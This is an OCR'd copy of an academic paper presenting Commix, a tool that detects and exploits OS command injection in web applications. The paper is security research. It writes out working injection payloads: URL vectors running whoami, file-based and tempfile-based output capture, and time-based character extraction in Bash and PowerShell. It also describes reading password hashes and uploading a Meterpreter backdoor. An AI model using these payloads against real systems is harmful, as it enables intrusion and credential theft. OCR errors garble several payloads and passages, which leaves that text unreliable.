0% found this document useful (0 votes)
151 viewsStasinopoulos - Commix Shell Injection - Os Command Injection
yfugih
Uploaded by
Ganesh KumaarCopyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF or read online on Scribd
0% found this document useful (0 votes)
151 viewsStasinopoulos - Commix Shell Injection - Os Command Injection
yfugih
Uploaded by
Ganesh KumaarCopyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF or read online on Scribd
/ 24
International Journal Information Security
hepsoiorg/0.1007/s10207-018-0399-2
REGULAR CONTRIBUTION
@=«
Commix: automating evaluation and exploitation of command
injection vulnerabilities in Web applications
Anastasios Stasinopoulos’ - Christoforos Ntantogian’ - Christos Xenakis!
© Springer-Verlag GmbH Germany, pat of Springer Nature 2018
Abstract
Despite the prevalence and the high impact of command injection attacks, litte attention has been given by the research
‘community to this type of code injections. Although there are many software tools to detect and exploit other types of code
injections, such as SQL injections or cross-site scripting, there is no dedicated and specialized software that detects and exploits.
automatically, command injection vulnerabilities. This paper proposes an open-source tool that automates the process of
detecting and exploiting command injection flaws on Web applications, named as COMMand Injection eXploiter (Commix).
‘We present and elaborate on the software architecture and detection engine of Commix as well its extra functionalities
that greatly facilitate penetration testers and security researchers in the detection and exploitation of command injection
vulnerabilities, Moreover, based on the knowledge and the practical experience gained from the development of Commix, we
propose and analyze new identified techniques that perform side-channel exploitation for command injections allowing an
attacker to indirectly deduce the output of the executed command (i.., also known as blind command injections). Furthermore,
‘we evaluate the detection capabilities of Commix, by performing experiments against various applications. The experimental
results show that Commix presents high detection accuracy, while at the same time false positives are eliminated. Finally
and more importantly, we analyze several 0-day command injection vulnerabilities that Commix detected in real-world
applications. Despite its short release time, Commix has been embraced by the security community and comes preinstalled
in many security-oriented operating systems including the well-known Kali Linux.
Keywords Command injection - Code injection - Exploitation - Software tool - Web security
1 Introduction
Code injection is a general term for attacks that consist of
injecting code, which is consequently executed by a vulnera-
ble application, This type of attacks is considered as a major
security threat which in facts classified as No. 1 on the 2013,
OWASP top ten Web security risks [1]. A code injection
vulnerability exploits poor handling of untrusted data and
allows an attacker to insert arbitrary code (or commands)
into the application, resulting in an unplanned execution
1B Christoforos Nantogian
dadoyan@unipi gr
Anastasios Stssinopoulos
stasinopotloe usp gr
(Christos Xenakis
sxenakis uni gr
‘Department of Digital Systems, Univesity of Pitseus, Kaaol
‘& Dimirion St. 0, 185 4 Piraeus, Greece
Published online: 01 February 2018
behavior. There are many types of code injections attacks
including command injections, SQL injections [2], cross-
site scripting [3], XPath injections [4] and LDAP injections
[5]. In this paper, we will exclusively deal with command
injection attacks and we will refer to them as “command
injections", They are also named in the literature as "shell
‘command injections” or “operating system command injec-
tions” because this type of attack occurs when the application
invokes the OS shell (shell commands on Unix-based sys-
tems, command prompt shell on Windows) [6].
‘Command injections may occurin applications that accept
user provided input and execute OS commands using as
parameters the received input. They have been discovered in
‘Web applications hosted in Web servers (Windows or Linux)
as well as in the Web-based management interface of net-
‘working devices, such as home/ofiice routers, IP cameras, IP
PBX applications and network printers, Moreover, command
injection vulnerabilities can be found in Internet of Things
(oT) devices, As a matter of fact, while other types of code
D springer A. Stasinopoules tal
injection are not relevant in IoT, such as SQL injections, since
these devices typically do not include a database, command
injections can be discovered in IoT, ifthe latter interact and
receive input through a Web application. This is due to the
fact that typically IoT devices run an embedded OS (i.e
typically Linux), thus they may execute system commands
(7-91
(Compared to other code injection attacks such as XSS and
SQL injection, command injections may not be so prevalent.
However, the security consequences of command injections
‘can be significant and costly. In particular, the impact of
‘command injection attacks ranges from loss of data con-
fidentiality and integrity to unauthorized remote access to
the system that hosts the vulnerable application, That is,
an attacker can gain access to resources that it does not
have privileges to directly accessing them, such as system
files that include sensitive data (e.g., passwords). More-
‘over, an attacker can perform various malicious actions
to the vulnerable system, such as delete files or add new
system users for remote access and persistence. A prime
‘example of a real, infamous command injection vulnera-
bility that clearly depicts the threats of this type of attacks
was the recently discovered (ie., disclosed in 2014) Shell-
shock bug [10]. The latter was a high profile vulnerability
that could potentially compromise millions of unpatched
servers, routers, IoT devices and, in general, any system
‘connected to the Internet [1]. Attackers actively exploited
Shellshock by creating botnets of compromised comput-
‘ers and systems to perform distributed denial-of-service
attacks, phishing campaigns and vulnerability scanning [11]
Apart from Shellshock, in the past, many well-known and
widely deployed Web applications have been discovered
to be vulnerable fo command injection attacks, including
Citrix Access Gateway [12], Symantec Web Gateway [13],
IBM Tealeaf CX [14] and Sophos Web Protection Appliance
1s}
‘The above observations are clear indications that com-
‘mand injections are one of the most dangerous class of code
injection attacks that can be found nearly in all network
devices, which handle input data. Despite the prevalence and
the high impact of command injections, lite attention has
‘been given by the research community to this type of attacks,
In particular, we have observed that there are many software
tools to detect and exploit other types of code injections vul-
nerabilities such as SQL injections (ie., sqlmap, SQLninja,
etc) or eross-site scripting (i.e, OWASP Xenotix XSS Exploit
Framework, XSSer, etc). However, to the best of our knowl-
‘edge, there is no specialized tool to automate the process
of detecting and exploiting command injection vulnerabi
ties.
‘This paper attempts to fill this gap by proposing an open-
source tool that automates the process of detecting and
exploiting command injection flaws in Web applications,
D Springer
named as COMMand Injection eXploiter (Commix), More
specifically, first we define and analyze command injec-
tions based on practical code examples and present various
attack vectors of this vulnerability. Next, we analyze new
identified techniques that perform side-channel exploitation
for command injections allowing an attacker to indirectly
deduce the output of the executed command (ie., also known
as blind command injections). Moreover, we present and
analyze the software architecture and detection engine of
‘Commix as well its extra functionalities that greatly facilitate
penetration testers and security researchers in the detection
and exploitation of command injection vulnerabilities. We
evaluate the detection capabilities of Commix by perform-
ing experiments in several applications. The experimental
results show that Commix presents high detection accu-
racy, while at the same time false positives are minimized,
Compared to the other similar tools, Commix has better
detection and exploitation capabilites. Finally, and more
importantly, we analyze several 0-day command injection
vulnerabilities that Commix detected in real-world applica-
tions. Summarizing, the overall contributions of this paper
are fourfold:
1. We systematically define, categorize, and analyze in
depth command injections with practical examples to
‘gain better understanding ofthis type of eode injections.
We elaborate on blind command injection attacks and
pinpoint anew, un-documented technique for blind com-
mand injections
3. We present, analyze and evaluate our proposed tool
((e., Commix) forautomatically detecting and exploiting
command injection vulnerabilities. We show that Com-
mix is able to detect, with high success rate, whether
2 Web application is vulnerable to command injection
attacks.
4, Basedon Commix, wehave conducted a series of security
audits and discovered 0-day command injection vulner
abilities in several applications that handle input data in
‘The test of the paper is organized as follows. Section 2
outlines the related work. Section 3 introduces the legacy
command injections attacks, while Sect. 4 elaborates on
blind command injections using PHP as the server-side pro-
‘gramming language. Section 5 analyzes classic and blind
‘command injections using ASPNET. Section 6 presents and
analyzes the software architecture of Commix as well as
highlights its advantageous characteristics, Section 7 eval-
uuates Commix and explores the discovered 0-day command
injections. Section 8 proposes countermeasures that devel-
‘opers should implement in order to protect applications from
command injection attacks and finally, Sect. 9 contains the
conclusions. Commi automating evaluation and exploitation of command injection vulnerabilities in Web,
2 Related work
‘The related work in command injection attacks is rather lim-
ited, due to the fact that the majority of past solutions focus
‘mainly on SQL injections and cross-site scripting vulnera-
bilities. Here, we present a set of past works that propose
tigation techniques forall types of code injection attacks,
including command injections. In [16], the authors present
1 (ool named PHP Aspis that applies runtime taint tracking
to secure Web applications written in PHP from all types of
‘code injection attacks, In particular, PHP Aspis transforms
the source code by adding metadata to dangerous functions
and variables, in order to wack and sanitize input data dus-
ing the execution of the application, To reduce performance
overheads, PHP Aspis performs partial taint racking only to
functions that are more possible to have vulnerabilities. The
authors have also evaluated PHP Aspis against third plogins
‘of Wordpress. The numerical results showed high detection
rate, while the performance overhead was doubled (ic, by a
factor of 2.2), compared to a Wordpress installation that does
rot apply taint tracking. The negative aspects of PHP Aspis
are related to the fact that by applying partial taint track-
ing, there is the possibility to miss several vulnerable parts
of the application. Moreover, the scope of the evaluation is
limited, since the authors only focus on third-party plugins
‘of Wordpress. Finally, the performance overhead is still not
acceptable for real-world deployment in a generic manner.
‘Martin Bravenboer et al. in their work [17] present a pro-
‘gramming approach that embeds the grammars of the guest
Tanguages (c.g. SQL) into that of the host language (€.g.
Java). In this way, it reconstructs the code of the underlying
system using escape functions where appropriate, in order to
prevent various types of code injection attacks, such as SQL
injection and command injection. As the authors mention,
the proposed approach is generic in the sense that it can be
applied in any programming language. However, since there
is no evaluation of the proposed technique, its effectiveness
is not proved.
‘Toward this direction, in [18] the authors have observed
that a prerequisite for a code injection attack to succeed lies
to the fact that the input that gets propagated into the database
{query or tae output document must change the intended syn-
tactic structure of the query or document, To this end, they
propose an algorithm to prevent code injection attacks based
‘on context-free grammars and compiler parsing techniques,
‘The authors have also implemented a tool to evaluate the
effectiveness of their algorithm. The downside of [18] is
that the tool detects only SQL. injections vulnerabilities and
therefore, there is no evaluation of the proposed algorithm
regarding command injection attacks.
[19] proposes a security gateway, which is deployed in
front of the application server and can automatically produce
proper input validation o filter and, eventually, prevent code
injection attacks. To verify the efficiency of this mechanism,
the authors have evaluated it against vulnerable Web appli-
cations, Numerical results showed that itis able to prevent
code injections attacks in an efficient manner. However, its
practical deployment requires modifications in the existing
infrastructure, since an additional security gateway should
be placed in front of Web applications.
Moreover, in [20] a method named context-sensiive tring
evaluation (CSSE) is proposed for defending against injec-
tion attacks, More specifically, CSSE works by an automatic
marking ofall useroriginated data with metadata about its
origin and ensuring that these metadata are preserved and
updated when operations are performed on the data. An
advantageous characteristic of CSSE is that itdoes notrequire
developer interaction or application source code modifi:
tions. Furthermore, a prototype implementation of CSSE for
the PHP language has been developed for the evaluation
of the proposed approach against SQL injection attacks in
phpBB platform, The experimental results showed that CSSE
prevented all SQL injections attacks. However, the authors
have not evaluated the proposed approach against command
injections attacks. Finally, itis important to mention that apart
from the above papers, there are several technical reports
provided by OWASP [21], which include methodologies for
‘manual testing of applications against command injection
‘vulnerabilities. However, these methodologies are not time-
effective, and therefore, they have limited practical value,
since they are all based on manual (and not automated) test-
ing.
To the best of our knowledge, there is no dedicated
and specialized tool that detects and exploits automatically
‘command injection attacks. We have only discovered some
custom scripts [22] that have been writen occasionally by
researchers, in order to exploit only a specific vulnerable
version of a particular application. Thus, these scripts cannot
bbe considered as generic tools for command injection dete
tion and exploitation. Moreover, there is a large number of,
automated tools (both commercial and open-source) called
Web Application Valnerability Scanners, aiming at detect-
ing security vulnerabilities, such as OS command injection,
cross-site scripting, SQL injection, directory traversal and
insecure server configuration. A prominent open-source
Web Application Vulnerability Scanner is Arachni, while
commercial scanners are NetSparker and Acunetix WVS.
Although these scanners may detect OS command injec-
tions, none of them offer the ability for automating the
exploitation procedure, Note that the term command injec-
tion exploitation refers tothe ability of a tool to execute an
arbitrary command using an interactive or non-interactive
shell. An open-source tool that offers both detection and
exploitation of command injections is W3af (we evaluate
the detection and exploitation capabilities of these tools with,
‘Commix in Sect. 7.2). In general, all the above tools follow
D springer A. Stasinopoules tal
a one-size-fits-all approach, aiming at detecting all kinds of
‘vulnerabilities and they do not focus in depth on one-specitic
vulnerability. On the other hand, Commixisaspecializedtool
for command injection detection and exploitation,
Apart from Web Application Vulnerability Scanners, there
are also Source Code Analyzers, which detect vulnerabilities
bby auditing the source code of the application. For exam-
ple, a toot named WAP [65] audits the source code of PHP
applications using taint analysis (o detect and correct input
validation vulnerabilities. The aim of the taint analysis is to
track malicious inputs inserted by entry points and to verify
if they reach some sensitive sink (PHP functions that can be
exploited by malicious input). After the detection, the tool
uses data mining to confirm if the vulnerabilities ate real or
false positives. At the end, the real vulnerabilities are cor-
rected with the insertion of the fixes (small pieces of code)
in the source code. The main limitation of WAP and static
analyzers in general is that the source code of the Web appli-
cation may not be always available for auditing.
3 Result-based comman:
\jections
‘Command injection vulnerabilities may be present in appli:
‘cations that accept and process system commands or system
‘command arguments from users, without proper input valida-
tion and filtering. The purpose of a command injection attack
is the insertion of an OS command through data input to the
vulnerable application, which in tur executes the injected
‘command (see Fig. 1). Itis worth noting that command injec-
tion attacks are OS-independent and can occur in Windows,
Linux, or Unix OS. They ate also programming language-
independent, which means that may occur in applications
‘written in various programming languages and frameworks
(such as C/C++, C#, PHP, ASPNET, CGI, Perl, Python). In
this section as well as in Sect. 4, we analyze command injec-
tion using PHP as the server-side programming language and
Linux as the OS, while in Sect. 5, we will analyze command
injections using ASP.NET and Windows as the OS,
‘Command injection can be classified into two main cat-
‘egories: a) result-based command injection and b) blind
‘command injection. In the former category, the attacker can
directly infer if his/her command injection succeeded o: not
and what exactly was the output of the executed command,
simply, by reading the response ofthe vulnerable application,
‘The second category of command injections, which has not
been studied extensively in the literature, is known as blind
‘command injections. In this category, the vulnerable applica-
tion does not output the results of the injected command, in
‘contrast to result-based command injection, where the vul-
nerable application ousputs the results. This means that the
attacker cannot directly infer ifthe command injection suc-
ceeded or not and obtain the results, simply, by reading the
D Springer
Input
is
3
come
Inpat achding an arbitrary command) *
aooeeee———rerv
‘The application executes a
‘Output
@
Fig.1 Command injection tacks
response of the Web application. In the rest of this section,
‘we will focus on result-based command injections and their
exploitation techniques, while blind command injections are
elaborated on Sect. 4. We can further divide result-based
command injection attacks into two sub-types: (i) classic
result-hased command injection, and, (i) dynamic code eval-
uation. In the following, we analyze these two sub-types
using code snippets. Itis worth mentioning thatthe presented
examples are not realistic Web applications; instead, the aim
of the code snippets is to facilitate the better understanding
of the presented notions.
3.1 Classic result-based command injection
‘The classic result-based technique is the simplest and most
common command injection attack. The attacker makes use
of several common Linux shell operators, which either con-
catenate the initial genuine commands with the injected ones,
or exclude the initial genuine commands executing only the
injected ones.
These operators are: (i) redirection operators (ie. “<'
>>", “>") that allow the attacker to redirect command
input or output; (i) pipe operator tie. |") that allows the
attacker to chain multiple commands, in order to redirect the
‘output of one command into the next one (ie. in this way
the attacker can execute unlimited commands by chaining
them with multiple pipes); (ii) semicolon operator (";") that
allows the attacker to chain in one code line a sequence of
‘multiple arbitrary OS commands separated by semicolons;
(iv) logical operators (e., “&&”, “||") that perform some Commi automating evaluation and exploitation of command injection vulnerabilities in Web,
Table 1 Linu shell operators used in command injection attacks
‘Operators Category ‘Symbol
Redicecion !
Pipe r
Chain commands “
Logical ke,"
‘Command substitution “0”
New line feed va Oa
” operator, in order to
save the output of the command to a text file, Due to the
logic of this technique, the file-based can be also classified
as semiblind command injection, asthe random text file con-
taining the results of the desited shell command execution is
visible to everyone. In particular, the attacker can send the
{following HTTP GET request to the vulnerable Web applica-
tion, presented in Sect. 4.1 (.e., the Web application shown
in Fig. 4),
beep: //vuin.web. app/blind. php ?addr
227.0.0.17$(whoami)> Uvi:
D Springer
‘ommand
The above example will execute the “whoami
and the output will be saved in a file named “UVILSESS txt
inside the “var/www” directory. Again, there are some alter-
native attack vectors such as:
pete ://vula
127.0.9
27.0.0
27.0.0
web. app/ blind. php?adar
Lees (whoani}> UVILSE5S.txt
web. epp/ blind. php? addr
i] $(whoami)> UVILSESS. ext
web. app/blind. php?aady
21s OVILSESS. txt
Next, the attacker can trivially read the newly ereated file
“UVILSESS.xt” as follows:
he
ae
ani} >
he
/yuln.web.app/UVILSESS. txt
An essential prerequisite to achieve this technique is that
the root directory on the Web server (ie., “/var/www/")
should be writable by the user that is running the Web server
(ie., “www-data"). In case the root directory on the Web
server is not writable, then the attacker can use the following
technique.
4.3 Tempfile-based semiblind technique
Tn order to fully understand the tempfile-hased semiblind
injection technique, we assume the following scenario: An
attacker is facing a situation where a Web application is
vulnerable to blind command injection attacks (after the exe-
caution of the injected command, no result returns back to
the attacker), but the root directory of the Web server (i.e,
‘varhwww/") is not writable. As we mentioned above, the
vwritability and/or accessibility of the Web server's root direc-
tory is the most important factor for the success or failure of
the “file-based” semiblind technique. Here, we propose an
alternative solution by taking advantage of directories that
include temporary files (i, suchas “tmp” or “/vat/tmp”) that
can store the output of the injected command. We note that
these directories, which hold temporary files, ate preinstalled
in most OS (Unix, Linux, Windows ete) and they are writable
for every user ofthe system. Its also worth noting that in a
classic command injection vulnerability, an attacker can read
files located in temporary directories through the Web appli-
cation, but in a blind command injection vulnerability the
attacker is not able to retrieve the result, back to the screen
because ofthe nature of vulnerability (blind), despite the fact
that he/she is able to ead the files located in these temporary
directories (proper permissions are provided). Therefore. in
order to bypass this aforementioned limitation, we designed
and implemented a new and un-documented technique that
applies the pre-referred time-based blind command injection
technique in combination withthe file-based semiblind, in a
‘way thatthe contents are extracted out of the text file located.
in these temporary directories. For example, the attacker can
store the output of the “whoami” command in a random file Commi automating evaluation and exploitation of command injection vulnerabilities in Web,
Ge. “hmp/ 'S.Axt") and subsequently deduce how
many characters there are in this file, using time delays (see
Sect. 4.1), as presented in the following URL:
http: //vain.web.app/blind. php?adar=
227.0.0.1; str=$(whoani>'/tmp/
GVILSESS. txt’); str=s(eat */tmp/
GVILSESS. txt"); striss(estr); if [
tin sae $(gtri) J; then sleep 0;
ae sleep 1;
5 Command injections in ASP.NET and
Windows OS
Apart from PHP, there ate also two other widely used server-
side languages named JSP and ASP. The former is used
zmainly in enterprise applications that incorporate the JAVA
stack, while the latter is used mainly in Windows applica-
tions thatuse NET framework languages, such as C#. As we
analyze inthis section, command injections can be exploited
in ASPNET applications in a similar manner as in PHP. On
the other hand, in JSP applications, command injections are
rare and dificult to exploit. This happens because JSP use the
JAVA method named Runtime getRuntime exec) to execute
system commands. This method executes system command
without invoking a shell and therefore several shell metachar-
acters for Linux systems, suchas S,<, >, are notinterpreted
as special characters. Moreover, this method has several over-
loaded versions that tokenize the command andits arguments
sothey are reatedinthe context of asingle command, making
the exploitation of a command injection challenging. Apart
from the above technical issues, system command execution
in JSP isnot widely used, to avoid losing platform portability
that JAVA inherently offers, For all the above reasons, com
‘mand injections in JSP are rare and they are exploitable in
very few eases as described in [68
Inthe following, we present how command injections can
bee detected and exploited in ASP.NET running in a Wine
dows OS. In Windows OS, the command line interpreter is
the command prompt (ic., cmd.exe). Moreover, an ASPNET
application can execute system commands using the Pro-
cess Star) method of C# language. Assume the following
‘Web application named blind aspx (see Fig. 8), which isthe
ASPNET equivalent code of the PHP code snippet showed
inFig. 2.
Similarly to the code snippet of Fig. 2, this ASPNET code
takes asinputan IP address through the “addr” parameterand,
subsequently, executes ping command over the provided
BP address, The above code is vulnerable to classic result:
‘based command injection In particular, the attacker can use
the “A” operator to chain in one code line a sequence of
multiple azbitrary OS commands. Thus, an attacker can use
Fig.8 Code snippet of “classic aspx” le
Table2. Windows command prompt operators for command injection
tacks
‘Operators Category Symbol
Redirection Steet!
Pipe “Pr
Chain commands ra
Logical eee
‘Command subtitation No direct equivalent
New line feed No ect equivalent
the following URL to execute the “dir” command, which is
the equivalent of “Is” command in Linux:
hetp://vuln.web. app/classic. aspx? addr
127.0.0.08air
Moreover, Table 2 is the equivalent of Table 1 for
Windows command prompt operators that can be used in
command injections
Blind command injections can also occur in ASPNET
applications running in a Windows OS. The methodology to
detect and exploit them is exactly the same as in a PHP appli-
cation running in a Linux OS. Note that in order to perform
blind command injection, we take advantage of Powershell,
which is more powerful than the command prompt and allows
us tocreate complex code structures, More specifically, inthe
cease of time-based blind command injection, first the altacker
should detect whether the ASPNET application is vulnera-
ble to command injections. The following code snippets the
‘equivalent of the code snippet presented in Fig. 5.
& for /£ ‘sokens=** i in (om fe
write ‘AJTRCL’.length*’} do if 4i
D springer A. Stasinopoules tal
6 (end /e ‘powershell.exe -
nputFormat none Start-Sleep -2 2")
‘Afterward, the attacker should infer the length of the out-
put ofthe provided injected command (ie., “whoami in our
example). The following code snippet is the equivalent one
of Fig. 6 for determining the length of the injected command.
& for /£ ttokens=** i in (vend fe *
powersheli.exe -InputFormat none
write-host ([string] (cma /e whoant}
)etrim().length*') do if $iss6 (end
je *powershell.exe -TnputFormat
none Start-Sleep -2 3°)
Finally, the attacker finds out the output of the injected
‘command (1., “whoami") by reading each character one by
‘one. The following code snippet is the equivalent of Fig. 7 to
brute force character-by-character the output of the injected
‘command,
& for /f *tokens=** 4i in (vena fe *
powershell.exe -InputFornat none
write ({int][char]{((string] (end /e
Whean)}.tria{}}-substring (0,11)"”
yd if tis=100 (cma /e ‘powershell
exe -InputFormat none start-Sleep
easy
Ina similar manner to Linux OS, the file-based semiblind
technique can be used to exploit blind command injections in
‘Windows OS. The following code snippet prints out the result
of the execution of the “whoami” command into a random
filename “DGYPYD.txt”
& for /f ‘tokens=** ti in (rena se *
powershell.exe -rnputFormat none
write-hose (cmd /e ‘whoami}*") do
Geet /p -¥i >DGYPYD. texte nul
Finally, in a tempfile-based semiblind technique, the
attacker can store the output of the “whoami” command
in a random file (Le, “Yétemp"\VVKBSV.txt”) and, sub-
sequently, read its contents using time delays. That is, the
contents of the “%temp%\VVKBSV.xt" file can be read
‘character-by-character using the following code snippet.
& for sé *tokens=** i in (vend fe *
powershell exe -TnputFornat none (
Get-content seenp#\YVKBSY. ext)
splic(' "){0]"") do if tine6s (ond
7@ *powershell .exe ~TnputPornat
hone Stare-Sleep = 4")
6 Commix
‘Commis is a software tool aiming at facilitating Web devel-
‘opers, penetration testers and security researchers to test Web
applications with the view to find bugs, errors or vulner-
abilities related to command injection attacks. The tool is
D springer
Attack Vector Generator Module
: Dynamic Code
Sai Evaluation
Blind-based | | Fite-based
y
Vulnerab
Detection Module
Exploitation Module
Fig. 9 High-level architecture of Commix
‘written in Python (version 2.6. or 2.7) and runs in both Unix-
based (ie., Linux, Mac OS X) and Windows OS, Commix
is free to download through the GitHlub repository [61]. Itis
‘worth mentioning that Commix comes preinstalled in many
security-oriented OS including the well-known Kali linux
[27], while its capabilities have been presented with a real
demo in the BlackHat Europe 2015 security event [63].
6.1 Software architecture
‘As shown in Fig 9, the general structure ofthe tool is divided
{nto three main modules: (i) the atack vector generator, i)
the vulnerability detection module, and (ii) the exploita-
tion module. The attack vector generator module as its name
implies generates a set of command injection attack vectors.
‘The latter are produced from the comman! injection sepa-
rators’ list (see Tables 1 and 2) and the type of command
injections that willbe performed (.e., classi, dynamic code
evaluation, time-based and file-based). In this way, foreach
type of attack a set of different attack vectors are generated
and passed 0 the vulnerability detection module.
‘The vulnerability detection module attempts to perform
the command injections to the target Web application, using
the attack vectors received from the attack vector genera- Commi automating evaluation and exploitation of command injection vulnerabilities in Web,
tor module. In particular, the vulnerability detection module
takes the first attack vector and attempts to inject and exe-
‘cute the echo command. After receiving the response from
the application, this module compares whether the results
‘obtained were the same with the ones expected. If they are,
‘then this means that the command was executed successfully
‘otherwise, it proceeds with the next attack vector. This pro-
cedure continues until a vulnerability is discovered or when
all the atack vectors have been used and no vulnerability has
been discovered. It is important {o mention that the module
is capable of performing command injection not only in the
HTTP GET/POST parameter, but also in HTTP parameters,
such ag HTTP cookie, HTTP user-agent and referer header
values.
If the vulnerability detection module determined that the
application is vulnerable, then Commix triggers the exploita-
tion module to attempt automatic exploitation. In particular,
the exploitation module uses the same attack vector, which
the vulnerability detection module succeeded in performing
the command injection, to exploit the application. Note that
the specific command that the exploitation module will exe-
‘cute is user-supplied. Ifthe exploitation of the vulnerability
is successful, then the execution results will be displayed
to the user. It is important to mention that the exploitation
module provides also an integration interface with the Metas-
ploit exploitation framework, in order to perform automatic
exploitation and obtain a remote shell with the target system
during penetration testing scenarios.
6.2 Reducing false positives
‘To reduce false alarms, the vulnerability detection module of
‘Commix makes use of special heuristics, which minimize the
‘occurrence of false alarms. To analyze how these heuristics
‘operate, first we need to understand how false alarms occur,
‘More specifically, we have observed several cases where the
result ofacommand injection attemptis similar to what Com-
mix expects to receive (ie, the output of the command),
without, however, the injected command actually being exe-
‘cuted. For instance, when the vulnerability detection module
attempts to perform injection of the command echo NTAVG
Ge., prin the random string NTAVG) to find out whether or
not there is a vulnerability in a Web application, we have
‘observed that some Web applications print back the ran-
dom string (1... NTAVG), without, however, executing the
injected command echo NTAVG, Thus, Commix erroneously
‘considers that these applications are vulnerable to command
injections, increasing in this way false positives, To address
this issue and reduce false positives, Commix makes use of
heutistics, in order to decide whether an application is vul-
nerable to command injection attacks, More specifically, the
vulnerability detection module tries to inject commands that
print the result of mathematic calculations to ensure that the
application has executed the injected command. For instance,
in order to decide whether an application is vulnerable to
result-based command injection flaws, Commix will ty to
‘echo three times a randomly generated five-character string
(ie, NTAVG) concatenated with the result of a mathematic
calculation of two randomly selected numbers (ie., 28+50),
echo NTAVGS ((28+50))$ (echo NravG) NrAVG
If this command is executed properly, the Web appli-
cation should output the string NTAVG78NTAVGNTAVG,
which contains the concatenation of the randomly gener-
ated five-character string (e.g., NTAVG) with the result
of the mathematic calculation (e.g., 28450). Based on the
above heuristic, Commix guarantees thatthe response is pro-
duced by the execution of a specific command, climinating
false positives, Moreover, false positives can also occur in
‘time-based blind command injections. To address this issue,
Commix performs a time-based false positive check, More
specifically, this time-based false positive check first caleu-
lates the average response time of the target host. Next, the
calculated average response time is added tothe default delay
time, whichis used to pesform the time-based blind command
injections.
Finally, itis important to mention that Commix, being
4 free and open-source tool, allows security researchers to
extensively test it in order to detect bugs and errors. In this
‘way, a number of false positives, especially in time-based
and tempfile-based command injections, were reported and
fixed.
6.3 Other functionality
Commix supports a plethora of functionalities, in order to
cover several exploitation scenarios, These functionalities
sare: (1) Various HTTP protocol authentication mechanisms
(ez. Basic’ or ‘Digest’), (2) provision of custom Cookies
and/or other HTTP headers, (3) support of HTTP proxies,
(@) use of the Tor network, (5) user-supplied prefixes and
safixes, (6) alternative OS shell (python), (7) host and Web
application enumeration, (8) read or write files at the tar
get host, (9) resume of scanning, (10) support for importing
custom modules
More specifically, some command injection vulnerabili-
ties may only be exploitable vin authenticated users (c.g
ADSL routers, IP cameras or other embedded devices).
For this reason, Commix supports various HTTP protocol
authentication mechanisms, where the user ean provide valid
credentials to authentication tothe Web application Basic’
HTTP protocol is supported). Is also possible, a Web appli-
cation to requize authentication based upon cookies. To this
end, Comix enables the user to alter and provide his/her
own HTTP Cookie header values.
D springer A. Stasinopoules tal
Se) (0 (preg maven /-VAC
(1,3). Aa 38/0"
3).\aC1 3} Ad
soeTEip'1)))€
die (*Tavaiia IP address");
y
aysten ("ping -e 2 ".$ GETE?sp!])5
Fig. 10. The “ip” parameter is veiied using a regular expression
It is also worth noting that Commix allows the user to
provide his/her own HTTP referer header value, HTTP user
agent header, as well as extra HTTP headers, For instance,
by default Commix performs HTTP requests using a specific
user-agent header “Commix/v0.4b-xxxxxxxx". However, it
is possible to change it either by providing a user-supplied
‘one or a randomly generated one. Moreover, in many cases
there is a need for a user to modify HTTP requests created
by the Commix, before they are sent tothe Web application,
as well as to modify responses retumed from the applica-
tion, before they are received by the Commix. To achieve
this, Commix supports the use of HTTP proxies (.g., Burp-
Suite, etc). Rather than manually providing a single target
host or possible injection points, Commix is able to eval-
vate and exploit (if they prove to be exploitable) HTTP
requests proxied and provided through BurpSuite or Web-
Scarab proxy. This option requires as an argument the HTTP
proxy's requests log file. In addition, Comix supports the
‘execution of command injections through the Tor network
for anonymity purposes [26]
Another provided functionality of Commix is the capa-
bility to insert users own suffixes and prefixes. In some
circumstances, the vulnerable parameter is exploitable, only
ifthe user provides a specific prefixin the injection attack vec-
tor. To be more specific, consider the code snippet of Fig. 10.
‘The GET parameter “ip” is verified using the ‘preg_match()”
function, In particular, it is checked whether the “ip” param-
‘ter starts with an IP address. If yes, then the ping command
is executed using the “ip” parameter as an argument, Othet-
wise, the application prints an error message. For this reason,
avalid IP address should be inserted as prefix atthe beginning
of the attack vector, followed by the injection command. For
‘example, the attack vector “192. 168.2.1%0als” will success-
fully pass the “‘preg_match(” verification and subsequently
‘execute the injected “Is” command. Based on the same logic,
an IP address (or any other string) can be inserted atthe end
of the atack vector, as a sufix,
Furthermore, during the development and testing of Com-
mix, we encountered systems that include a limited set of
Linux shell commands (.e., “eat”, “echo” ete.) As a result,
several attack vectors of Commix filed, because the included
Linux shell commands were not available in the target sys-
tem. To overcome this issue, Commix supports a set of
alternative attack vectors, which are produced from a pro-
D Springer
‘gramming language and not from the underlying OS shell
commands. Evidently, the specific programming language
that the alternative attack vectors are based on should be
preinstalled on the target system. At the time of writing,
‘Commix supports only the Python programming language
to create alternative attack vectors. In the next versions of
‘Commis, alternative attack vectors based on PHP, Perl and
Ruby languages will be also included,
Another important functionality of Commix has to do with
the fact that during penetration (esting scenarios, there are
several eases where We want to take actions, such as system
‘and user enumeration in an easy and quick manner, with-
‘out dealing with complex bash system commands, For this
reason, Comimix supports several “enumeration” options, To
bbe more specific, a user can retrieve the current user name
‘and check if he/she has root privileges. It is also possible
to retrieve the hostname, the OS and the system architec.
ture. Moreover, itis possible to enumerate system usernames,
users privileges, and users password hashes (i.¢., by access-
ing the “etc/shadow” file if itis readable by the current user),
‘Commix also allows users to read, write or upload files auto-
‘matically (o the target system, by selecting the “file access
‘options, These options can be used for example to upload a
backdoor (ie., “Meterpreter”) on the target host.
Another functionality of Commixis the ability torecordall
successful injection points into a session file (Le. an sqlite3
database), regardless of the injection technique being used
against the target host. Through that option, a user can easily
save and resume scan results at the exact point where the
execution of Commix stopped. This option is very useful for
resuming injection attacks on the same target, eliminating
the need {o start the attacks from the beginning.
Finally, another advantageous feature that makes Commix
aquite powerful tool is that itis designed to be modular. This
‘means that it allows a user to write and import its own python
‘modules, in order to perform whatever task he/she desires, At
the time of writing, Commix comes with two python mod-
ules. The first one, which is named as “icmp_exfiltration py’
supports the ICMP exfiltration technique, which extiltrates
data from the system using the “ping” command [28], [29],
‘The other module, which is named as “shellshock py”, can
‘check the target host against the Shellshock vulnerability and
then perform an automated exploitation.
7 Evaluation
In this section, we evaluate the detection and exploitation
capabilities of Commix. To this end, we have performed
three different set of experiments. In the frst set of exper-
iments, we have evaluated Commix against applications that
‘are deliberately vulnerable. That is, the command injection
vulnerabilities of these applications are known a priori, and Commi automating evaluation and exploitation of command injection vulnerabilities in Web,
we test Commix whether it will detect them. In the sec-
ond set of experiments, we have compared the detection
